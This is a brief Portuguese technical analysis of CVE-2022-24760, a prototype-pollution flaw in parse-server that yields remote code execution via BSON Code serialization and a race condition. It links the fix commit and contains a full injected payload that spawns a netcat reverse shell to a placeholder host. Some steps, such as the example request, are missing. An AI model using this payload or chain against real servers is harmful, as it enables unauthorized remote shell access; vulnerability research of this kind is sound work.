
Análise técnica detalhada da CVE-2022-24760, uma vulnerabilidade de poluição de protótipo no parse-server que leva à execução remota de código por meio da serialização BSON e exploração de condição de corrida.



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPathDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult é usada ao adicionar e atualizar novas classes. No entanto, para que a prototype seja poluída, é necessário satisfazer a condição de que a keyUpdate __op pertença a ['Add', 'AddUnique', 'Remove', 'Increment']
Portanto, os valores de prototype só podem ser array ou number


exemplo de requisição:

serialize pela biblioteca BSON; quando _bsontype for Code, será executado serializeCode
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] -> contornar até a função isolateEval"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath ocorre após a desserialização, é necessário executar uma race condition contínua para que o trigger possa ocorrer ao chegar em isolateEval